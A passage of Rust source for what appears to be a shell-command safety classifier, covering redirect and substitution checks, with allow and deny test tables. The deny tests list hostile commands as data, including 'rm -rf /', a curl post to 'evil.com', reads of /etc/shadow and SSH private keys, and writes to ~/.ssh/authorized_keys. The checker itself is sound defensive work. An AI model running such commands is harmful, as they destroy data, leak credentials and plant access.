735                if !script_yields_eval_safe(&script) {
736                    return false;
737                }
738                found_safe = true;
739            }
740            WordPart::DQuote(inner) => {
741                if !arg_is_eval_safe(inner) {
742                    return false;
743                }
744                if has_substitution(inner) {
745                    found_safe = true;
746                }
747            }
748            WordPart::ProcSub(_) | WordPart::Arith(_) | WordPart::AnsiC(_) => return false,
749        }
750    }
751    found_safe
752}
753
754fn script_yields_eval_safe(script: &Script) -> bool {
755    if script.0.len() != 1 {
756        return false;
757    }
758    let stmt = &script.0[0];
759    if !matches!(stmt.op, None | Some(ListOp::Semi)) {
760        return false;
761    }
762    let pipeline = &stmt.pipeline;
763    if pipeline.bang || pipeline.commands.len() != 1 {
764        return false;
765    }
766    let Cmd::Simple(s) = &pipeline.commands[0] else {
767        return false;
768    };
769    if !s.env.is_empty() {
770        return false;
771    }
772    // A redirect inside the substitution is allowed only if it's inert:
773    // stderr suppression (`2>/dev/null`), an fd dup (`2>&1`), or `/dev/null`.
774    // A redirect that writes a real file is SafeWrite, not inert, so
775    // `mise activate bash > evil` is rejected — eval-safe must not gain a
776    // file-write side effect, and diverting stdout to a file is pointless here.
777    if redirect_verdict(&s.redirs) != Verdict::Allowed(SafetyLevel::Inert) {
778        return false;
779    }
780    for w in &s.words {
781        if !word_is_plain_literal(w) {
782            return false;
783        }
784    }
785    let tokens: Vec<Token> = s.words.iter().flat_map(|w| w.expand().into_iter().map(Token::from_raw)).collect();
786    if tokens.is_empty() {
787        return false;
788    }
789    crate::registry::is_eval_safe_invocation(&tokens)
790}
791
792/// True iff every character of `word` is drawn from the bare-literal
793/// alphabet: ASCII alphanumerics plus `_`, `-`, `.`, `/`, `=`. Words
794/// matching this shape consist entirely of identifier-style or
795/// path-style tokens that the shell will pass through to the
796/// substituted command unchanged at runtime.
797///
798/// Required for words inside eval-safe substitutions because the
799/// "stdout is shell-init code" trust depends on the contributor having
800/// vetted what gets passed to the tool. Restricting the alphabet to
801/// chars with no shell-expansion semantics keeps the substituted
802/// invocation static across parse-time and runtime — what you see in
803/// the source is what the tool receives.
804fn word_is_plain_literal(word: &Word) -> bool {
805    word.0.iter().all(part_is_plain_literal)
806}
807
808fn part_is_plain_literal(part: &WordPart) -> bool {
809    match part {
810        WordPart::Lit(s) | WordPart::SQuote(s) => s.chars().all(is_bare_literal_char),
811        WordPart::Escape(c) => is_bare_literal_char(*c),
812        WordPart::DQuote(inner) => word_is_plain_literal(inner),
813        WordPart::CmdSub(_) | WordPart::ProcSub(_) | WordPart::Backtick(_) | WordPart::Arith(_) | WordPart::AnsiC(_) => false,
814    }
815}
816
817/// Bare-literal alphabet: ASCII alphanumerics plus a tight punctuation
818/// set covering identifiers (`_`, `-`), versions / paths (`.`, `/`),
819/// and the long-flag value form (`=`). New chars require an explicit
820/// eval-safe use case — add by extending this match, never by
821/// excluding individual hostile chars.
822fn is_bare_literal_char(c: char) -> bool {
823    c.is_ascii_alphanumeric() || matches!(c, '_' | '-' | '.' | '/' | '=')
824}
825
826/// Whether a command's redirects are acceptable on the USER-ALLOWLIST path — the one taken when the
827/// user's own `Bash(...)` rule names a command safe-chains does not otherwise know.
828///
829/// Delegates to [`redirect_verdict`], the same location model every other redirect goes through.
830/// It used to carry its own rule — a write was accepted only to `/dev/null`, a read always — and
831/// that second copy was wrong in BOTH directions:
832///
833/// - Too strict on writes. A granted runner script could not redirect anywhere, not even into the
834///   session scratchpad: `~/runner-scripts/x.sh > $SCRATCH/out.txt` fell through to a prompt while
835///   the byte-identical `cat f > $SCRATCH/out.txt` auto-approved through the engine path.
836/// - Too lax on reads. `Redir::Read` was unconditionally true, so `~/runner-scripts/x.sh <
837///   /etc/shadow` fed a credential to a granted command without ever consulting the read locus.
838///
839/// One model, one answer. A grant covers the command; the redirect is still gated by where it
840/// lands, so `> ~/.ssh/authorized_keys` stays denied whatever rule named the command.
841pub(crate) fn check_redirects(redirs: &[Redir]) -> bool {
842    redirect_verdict(redirs).is_allowed()
843}
844
845/// Whether a redirect *write* target is one we can auto-approve. Delegates to the SAME location
846/// model + user grants the engine's file writers (`cp`/`mv`/`tee`/…) use, so a `> ~/file` honors
847/// a home grant exactly like `cp ./a ~/file`; `/tmp` and `/dev/stdout` stay writable; and
848/// `.git`/`.envrc`, home, absolute system paths, `..` escapes, and `$`-unpinnable targets stay
849/// frozen (a redirect there can plant a git hook, an SSH key, or a direnv script that runs
850/// later). Relative targets resolve against the harness cwd/root inside `write_target_verdict`.
851fn is_safe_write_target(path: &str) -> bool {
852    crate::engine::resolve::write_target_verdict(path).is_allowed()
853}
854
855/// The verdict for a redirect that OPENS `target` for writing.
856fn write_face(target: &Word) -> Verdict {
857    let t = target.eval();
858    if t == "/dev/null" {
859        // Inert: no side effect, no promotion.
860        Verdict::Allowed(SafetyLevel::Inert)
861    } else if is_safe_write_target(&t) {
862        Verdict::Allowed(SafetyLevel::SafeWrite)
863    } else {
864        Verdict::Denied
865    }
866}
867
868/// The verdict for a redirect that OPENS `target` for reading. Gates the SOURCE by its read locus,
869/// like an operand read: `cat < /etc/shadow` must deny just as `cat /etc/shadow` does. A
870/// substitution-derived source names an unknowable file → fail-closed to Denied.
871fn read_face(target: &Word) -> Verdict {
872    let t = target.eval();
873    // Keyed on the EVALUATED value rather than on "is there a substitution part", so a
874    // substitution whose inner command declared its output locus (`< $(pwd)/f`) is gated by that
875    // locus, while an undeclared one still fail-closes on its opaque marker.
876    if is_opaque_value(&t) { Verdict::Denied } else { crate::engine::resolve::read_content_verdict(&t) }
877}
878
879pub(crate) fn redirect_verdict(redirs: &[Redir]) -> Verdict {
880    let mut level = Verdict::Allowed(SafetyLevel::Inert);
881    for r in redirs {
882        match r {
883            Redir::Write { target, .. } => {
884                level = level.combine(word_sub_verdict(target));
885                level = level.combine(write_face(target));
886            }
887            Redir::Read { target, .. } => {
888                level = level.combine(word_sub_verdict(target));
889                level = level.combine(read_face(target));
890            }
891            // `<>` opens the target BOTH ways, so it takes both gates. Taking only one would let
892            // the other face through: the write gate alone misses reading a secret, and the read
893            // gate alone misses overwriting a file that is merely readable.
894            Redir::ReadWrite { target, .. } => {
895                level = level.combine(word_sub_verdict(target));
896                level = level.combine(write_face(target));
897                level = level.combine(read_face(target));
898            }
899            Redir::HereStr(word) => {
900                level = level.combine(word_sub_verdict(word));
901            }
902            // A heredoc body is inert ONLY behind a quoted delimiter. With a bare `<<EOF` the shell
903            // expands the body, so a substitution in it runs and is classified exactly like one in
904            // any other word. `body` is empty for the quoted spellings, so this is a no-op there.
905            Redir::HereDoc { body, .. } => {
906                level = level.combine(word_sub_verdict(body));
907            }
908            Redir::DupFd { .. } => {}
909        }
910    }
911    level
912}
913
914fn has_substitution(word: &Word) -> bool {
915    word.0.iter().any(|p| match p {
916        WordPart::CmdSub(_) | WordPart::ProcSub(_) | WordPart::Backtick(_) | WordPart::Arith(_) => true,
917        WordPart::DQuote(inner) => has_substitution(inner),
918        _ => false,
919    })
920}
921
922#[cfg(test)]
923mod tests {
924    use super::*;
925
926    fn check(cmd: &str) -> bool {
927        is_safe_command(cmd)
928    }
929
930    #[test]
931    fn the_fuzz_input_that_exhausted_memory_is_refused_quickly_in_both_layers() {
932        let seed = String::from_utf8_lossy(include_bytes!("../../fuzz/corpus/explain_render/seed-oom-c54"));
933        let started = std::time::Instant::now();
934        assert!(!is_safe_command(&seed));
935        assert!(!crate::cst::explain(&seed).is_allowed());
936        assert!(started.elapsed() < std::time::Duration::from_secs(5), "{:?}", started.elapsed());
937    }
938
939    #[test]
940    fn many_sources_stay_cheap_and_a_plain_command_after_them_is_judged_as_before() {
941        let started = std::time::Instant::now();
942        let sourced = ". ./a; ".repeat(64) + "ls";
943        assert_eq!(is_safe_command(&sourced), is_safe_command(". ./a; ls"));
944        assert!(started.elapsed() < std::time::Duration::from_secs(5), "{:?}", started.elapsed());
945    }
946
947    #[test]
948    fn loop_variable_inherits_the_list_locus() {
949        // A worktree `in`-list → the body reads/writes the worktree → allowed. The bare `$f`
950        // used to fail-closed to machine; now it binds to the list, like find's `{}`→path.
951        for cmd in [
952            "for f in ./*.txt; do cat \"$f\"; done",
953            "for f in ./*.txt; do rm \"$f\"; done",
954            "for f in src/*.rs; do grep foo \"$f\"; done",
955            "for f in ./*.log; do sed -i s/a/b/ \"$f\"; done",
956            "for f in a b c; do cat $f.bak; done",
957            "for x in 1 2 3; do rm $x; done",
958            "for d in a b; do for f in $d/x; do cat $f; done; done", // nested loops compose
959        ] {
960            assert!(check(cmd), "worktree loop should allow: {cmd}");
961        }
962        // A system / credential / unpinnable `in`-list → deny (the body could touch it).
963        for cmd in [
964            "for f in /etc/*; do cat $f; done",
965            "for f in /etc/*.conf; do rm $f; done",
966            "for f in ~/.ssh/*; do cat $f; done",
967            "for f in $LIST; do rm $f; done",
968            "for f in $(find / -name x); do rm -rf $f; done",
969            // nested: the inner list inherits the outer binding, so the body reads ~/.ssh/id_rsa
970            "for d in ~/.ssh; do for f in $d/id_rsa; do cat $f; done; done",
971            // read-worst ≠ write-worst: reading must worst-case the credential store even though
972            // the write-worst item is /etc/hosts — a single representative would be unsound.
973            "for f in /etc/hosts ~/.aws/credentials; do cat $f; done",
974            // A glob can match a file named `-n` or `--files0-from=x.txt`, and an unquoted use
975            // splits a name at its blanks: either puts a flag where the command reads one.
976            "for f in *.txt; do cat \"$f\"; done",
977            "for f in *.txt; do rm $f; done",
978            "for f in src/*.rs; do grep foo $f; done",
979            "for f in -delete; do find / $f; done",
980            "for f in -delete; do find / \"$f\"; done",
981        ] {
982            assert!(!check(cmd), "non-worktree loop should deny: {cmd}");
983        }
984    }
985
986    safe! {
987        grep_foo: "grep foo file.txt",
988        jq_key: "jq '.key' file.json",
989        base64_d: "base64 -d",
990        ls_la: "ls -la",
991        wc_l: "wc -l file.txt",
992        ps_aux: "ps aux",
993        echo_hello: "echo hello",
994        cat_file: "cat file.txt",
995
996        version_go: "go --version",
997        version_cargo: "cargo --version",
998        version_cargo_redirect: "cargo --version 2>&1",
999        help_cargo: "cargo --help",
1000        help_cargo_build: "cargo build --help",
1001
1002        dev_null_echo: "echo hello > /dev/null",
1003        dev_null_stderr: "echo hello 2> /dev/null",
1004        dev_null_append: "echo hello >> /dev/null",
1005        dev_null_git_log: "git log > /dev/null 2>&1",
1006        fd_redirect_ls: "ls 2>&1",
1007        stdin_dev_null: "git log < /dev/null",
1008
1009        env_prefix: "FOO='bar baz' ls -la",
1010        env_prefix_dq: "FOO=\"bar baz\" ls -la",
1011        env_rack_rspec: "RACK_ENV=test bundle exec rspec spec/foo_spec.rb",
1012
1013        subst_echo_ls: "echo $(ls)",
1014        subst_ls_pwd: "ls `pwd`",
1015        subst_nested: "echo $(echo $(ls))",
1016        subst_quoted: "echo \"$(ls)\"",
1017        assign_subst_ls: "out=$(ls)",
1018        assign_subst_git: "out=$(git status)",
1019        assign_subst_multiple: "a=$(ls) b=$(pwd)",
1020        assign_subst_backtick: "out=`ls`",
1021
1022        assign_bare_lit: "foo=bar",
1023        assign_bare_int: "x=1",
1024        assign_bare_empty: "x=",
1025        assign_bare_dq: "x=\"foo bar\"",
1026        assign_bare_sq: "x='foo bar'",
1027        assign_bare_param: "rc=$?",
1028        assign_bare_var: "x=$y",
1029        assign_bare_dollar_var_braced: "x=${y}",
1030        assign_bare_path: "PATH=/foo",
1031        assign_bare_multiple: "a=1 b=2 c=3",
1032        assign_bare_arith: "x=$((1 + 2))",
1033        assign_in_for_body: "for i in 1 2; do x=1; done",
1034        assign_rc_in_for_body: "for i in 1 2; do echo $i; rc=$?; done",
1035        assign_rc_in_while_body: "while test -f /tmp/x; do rc=$?; sleep 1; done",
1036        assign_rc_in_if_body: "if test -f foo; then rc=$?; fi",
1037        assign_then_use: "x=1; echo $x",
1038        assign_chained_with_safe: "x=1 && ls",
1039        assign_subshell: "(x=1)",
1040        assign_in_subshell_with_cmd: "(x=1; ls)",
1041
1042        // A loop over a BOUNDED substitution. These are the positive half of the substitution
1043        // rule: the deny corpus only asserts that hot roots are refused, which a blanket refusal
1044        // would satisfy vacuously — so without these, reverting `loop_reprs` to its old
1045        // `__SAFE_CHAINS_` prefix test would silently re-deny the whole form and stay green.
1046        loop_over_bounded_sub_write: "for f in $(fd a app/); do echo hi > $f; done",
1047        loop_over_pwd: "for f in $(pwd); do cat $f; done",
1048        loop_over_pwd_quoted: "for f in $(pwd); do cat \"$f/x\"; done",
1049        loop_over_pwd_pipeline: "for f in $(pwd | head -3); do cat $f; done",
1050
1051        case_single_arm: "case x in x) echo a;; esac",
1052        case_alternation: "case $x in a|b) ls;; *) echo n;; esac",
1053        case_paren_prefixed_pattern: "case \"$1\" in (start) ls;; (stop) pwd;; esac",
1054        case_last_arm_without_terminator: "case x in x) echo a; esac",
1055        case_empty_body: "case x in x) ;; esac",
1056        case_multiline: "case \"$1\" in\n  start)\n    ls -la\n    ;;\n  *)\n    echo usage\n    ;;\nesac",
1057        case_in_substitution: "echo $(case A in *) echo a;; esac)",
1058        case_nested_in_if: "if true; then case x in a) ls;; esac; fi",
1059        clobber_redirect: "ls >| out.txt",
1060        clobber_redirect_fd: "ls 1>| out.txt",
1061        readwrite_redirect: "ls <> f.txt",
1062        readwrite_redirect_devnull: "ls <> /dev/null",
1063
1064        subshell_echo: "(echo hello)",
1065        subshell_ls: "(ls)",
1066        subshell_chain: "(ls && echo done)",
1067        subshell_pipe: "(ls | grep foo)",
1068        subshell_nested: "((echo hello))",
1069        subshell_for: "(for x in 1 2; do echo $x; done)",
1070
1071        pipe_grep_head: "grep foo file.txt | head -5",
1072        pipe_cat_sort_uniq: "cat file | sort | uniq",
1073        chain_ls_echo: "ls && echo done",
1074        semicolon_ls_echo: "ls; echo done",
1075        bg_ls_echo: "ls & echo done",
1076        newline_echo_echo: "echo foo\necho bar",
1077
1078        stdin_read_from_path: "wc -l < /tmp/foo.log",
1079        stdin_read_in_subst: "while [ $(wc -l < /tmp/x) -lt 10 ]; do sleep 5; done",
1080        stdin_read_in_for_body: "for i in 1 2; do cat < /tmp/x; done",
1081
1082        here_string_grep: "grep -c , <<< 'hello,world,test'",
1083        heredoc_cat: "cat <<EOF\nhello world\nEOF",
1084        heredoc_quoted: "cat <<'EOF'\nhello\nEOF",
1085        heredoc_strip_tabs: "cat <<-EOF\n\thello\nEOF",
1086        heredoc_no_content: "cat <<EOF",
1087        heredoc_pipe: "cat <<EOF | grep hello\nhello\nEOF",
1088
1089        for_echo: "for x in 1 2 3; do echo $x; done",
1090        for_empty_body: "for x in 1 2 3; do; done",
1091        for_nested: "for x in 1 2; do for y in a b; do echo $x $y; done; done",
1092        for_safe_subst: "for x in $(seq 1 5); do echo $x; done",
1093        while_test: "while test -f /tmp/foo; do sleep 1; done",
1094        while_negation: "while ! test -f /tmp/done; do sleep 1; done",
1095        until_test: "until test -f /tmp/ready; do sleep 1; done",
1096        if_then_fi: "if test -f foo; then echo exists; fi",
1097        if_then_else_fi: "if test -f foo; then echo yes; else echo no; fi",
1098        if_elif: "if test -f a; then echo a; elif test -f b; then echo b; else echo c; fi",
1099        nested_if_in_for: "for x in 1 2; do if test $x = 1; then echo one; fi; done",
1100        bare_negation: "! echo hello",
1101        keyword_as_data: "echo for; echo done; echo if; echo fi",
1102
1103        quoted_redirect: "echo 'greater > than' test",
1104        quoted_subst: "echo '$(safe)' arg",
1105
1106        redirect_to_file: "echo hello > file.txt",
1107        redirect_append: "cat file >> output.txt",
1108        redirect_stderr_file: "ls 2> errors.txt",
1109        redirect_bidirectional_write: "cat < /tmp/x > /tmp/y",
1110        env_rails_redirect: "RAILS_ENV=test echo foo > bar",
1111        jj_diff_redirect_chain: "jj diff -r 'master..@' --context 5 > /tmp/review_diff.txt && wc -l /tmp/review_diff.txt",
1112
1113        arith_basic: "echo $((1 + 2))",
1114        arith_with_var: "prev=$((ln - 1))",
1115        arith_nested_parens: "echo $(( (1 + 2) * 3 ))",
1116        arith_in_dquote: "echo \"line $((ln - 1))\"",
1117        arith_in_for_loop: "for i in 1 2; do echo $((i * 10)); done",
1118
1119        dbracket_eq: "[[ \"a\" == \"a\" ]]",
1120        dbracket_neq: "[[ \"a\" != \"b\" ]]",
1121        dbracket_file_test: "[[ -f /tmp/file ]]",
1122        dbracket_string_empty: "[[ -z \"$var\" ]]",
1123        dbracket_string_nonempty: "[[ -n \"$var\" ]]",
1124        dbracket_regex: "[[ \"$x\" =~ ^[0-9]+$ ]]",
1125        dbracket_and: "[[ \"$x\" == \"y\" && \"$z\" == \"w\" ]]",
1126        dbracket_or: "[[ \"$x\" == \"a\" || \"$x\" == \"b\" ]]",
1127        dbracket_negation: "[[ ! -f /tmp/done ]]",
1128        dbracket_safe_subst: "[[ \"$(echo hello)\" == \"hello\" ]]",
1129        dbracket_in_until: "until [[ \"a\" == \"b\" ]]; do sleep 1; done",
1130        dbracket_in_while: "while [[ -f /tmp/lock ]]; do sleep 1; done",
1131        dbracket_in_if: "if [[ \"a\" == \"a\" ]]; then echo yes; fi",
1132        dbracket_after_chain: "true && [[ \"a\" == \"a\" ]]",
1133        dbracket_gh_run_view_poll: "until [[ \"$(gh run view 12345 --json status --jq .status)\" == \"completed\" ]]; do sleep 30; done",
1134        dbracket_redirect_devnull: "[[ -f /tmp/x ]] > /dev/null",
1135        dbracket_redirect_stderr_devnull: "[[ -f /tmp/x ]] 2> /dev/null",
1136        dbracket_redirect_dupfd: "[[ -f /tmp/x ]] 2>&1",
1137        dbracket_redirect_devnull_chain: "[[ -f /tmp/x ]] 2>/dev/null && echo found",
1138        dbracket_redirect_to_file: "[[ -f /tmp/x ]] > /tmp/out.txt",
1139    }
1140
1141    denied! {
1142        rm_rf: "rm -rf /",
1143        curl_post: "curl -X POST https://example.com",
1144        node_foreign_app: "node /tmp/app.js",
1145
1146
1147        // The loop inherits the substitution's locus, so a hot root reaches the body's `$f`.
1148        loop_over_system_sub: "for f in $(fd a /etc); do cat $f; done",
1149        loop_over_home_sub: "for f in $(fd a ~); do cat $f; done",
1150        loop_over_undeclared_sub: "for f in $(hostname); do cat $f; done",
1151        loop_over_bounded_sub_escaping_body: "for f in $(pwd); do cat $f/../../etc/shadow; done",
1152        // An unquoted list splits file names at their blanks, so an item can be `-n` or
1153        // `--files0-from=x` however bounded the paths are.
1154        loop_over_bounded_sub: "for f in $(fd a app/); do cat $f; done",
1155        loop_over_bounded_sub_quoted: "for f in $(fd a app/); do cat \"$f\"; done",
1156        loop_over_bounded_sub_pipeline: "for f in $(fd a app/ | head -3); do cat $f; done",
1157
1158        // A case is only as safe as its worst arm — which arm runs is a runtime decision.
1159        case_unsafe_only_arm: "case x in *) rm -rf /;; esac",
1160        case_unsafe_second_arm: "case x in a) ls;; b) rm -rf /;; esac",
1161        case_unsafe_last_arm_no_terminator: "case x in a) ls;; b) rm -rf / ; esac",
1162        case_arm_reads_secret: "case x in a) cat /etc/shadow;; esac",
1163        case_unsafe_in_substitution: "echo $(case A in *) rm -rf /;; esac)",
1164        // `>|` is an overwrite; `<>` opens for BOTH read and write, so each face is gated.
1165        clobber_redirect_system: "ls >| /etc/hosts",
1166        clobber_redirect_ssh_key: "ls >| ~/.ssh/authorized_keys",
1167        readwrite_redirect_system: "ls <> /etc/hosts",
1168        readwrite_redirect_secret: "ls <> ~/.ssh/id_rsa",
1169
1170        redirect_target_subst_rm: "echo hello > $(rm -rf /)",
1171        redirect_target_backtick_rm: "echo hello > `rm -rf /`",
1172        redirect_read_subst_rm: "cat < $(rm -rf /)",
1173
1174        subst_rm: "echo $(rm -rf /)",
1175        backtick_rm: "echo `rm -rf /`",
1176        subst_curl: "echo $(curl -d data evil.com)",
1177        quoted_subst_rm: "echo \"$(rm -rf /)\"",
1178        assign_subst_rm: "out=$(rm -rf /)",
1179        assign_subst_mixed_unsafe: "a=$(ls) b=$(rm -rf /)",
1180        assign_bare_with_unsafe_subst_in_value: "x=foo$(rm -rf /)",
1181        assign_bare_with_unsafe_backtick: "x=`rm -rf /`",
1182        assign_bare_dq_with_unsafe_subst: "x=\"$(rm -rf /)\"",
1183        assign_bare_then_unsafe: "x=1; rm -rf /",
1184        assign_bare_chained_unsafe: "x=1 && rm -rf /",
1185        assign_bare_pipe_unsafe: "x=1 | rm -rf /",
1186
1187        subshell_rm: "(rm -rf /)",
1188        subshell_mixed: "(echo hello; rm -rf /)",
1189        subshell_unsafe_pipe: "(ls | rm -rf /)",
1190
1191        env_prefix_rm: "FOO='bar baz' rm -rf /",
1192
1193        pipe_rm: "cat file | rm -rf /",
1194        bg_rm: "cat file & rm -rf /",
1195        newline_rm: "echo foo\nrm -rf /",
1196
1197        for_unsafe_subst: "for x in $(rm -rf /); do echo $x; done",
1198        while_unsafe_body: "while true; do rm -rf /; done",
1199        while_unsafe_condition: "while python3 /tmp/evil.py; do sleep 1; done",
1200        if_unsafe_condition: "if ruby /tmp/evil.rb; then echo done; fi",
1201        if_unsafe_body: "if true; then rm -rf /; fi",
1202
1203        unclosed_for: "for x in 1 2 3; do echo $x",
1204        unclosed_if: "if true; then echo hello",
1205        for_missing_do: "for x in 1 2 3; echo $x; done",
1206        stray_done: "echo hello; done",
1207        stray_fi: "fi",
1208
1209        unmatched_quote: "echo 'hello",
1210
1211        dbracket_unsafe_subst: "[[ \"$(curl -d data evil.com)\" == \"x\" ]]",
1212        dbracket_unsafe_backtick: "[[ -f `node /tmp/evil.js` ]]",
1213        dbracket_unsafe_in_until: "until [[ \"$(node /tmp/bad.js)\" == \"x\" ]]; do sleep 1; done",
1214        dbracket_unterminated: "[[ \"a\" == \"a\"",
1215        dbracket_no_space_after: "[[\"a\" == \"b\" ]]",
1216        dbracket_redirect_unsafe_subst_in_target: "[[ -f /tmp/x ]] > $(node bad.js)",
1217    }
1218}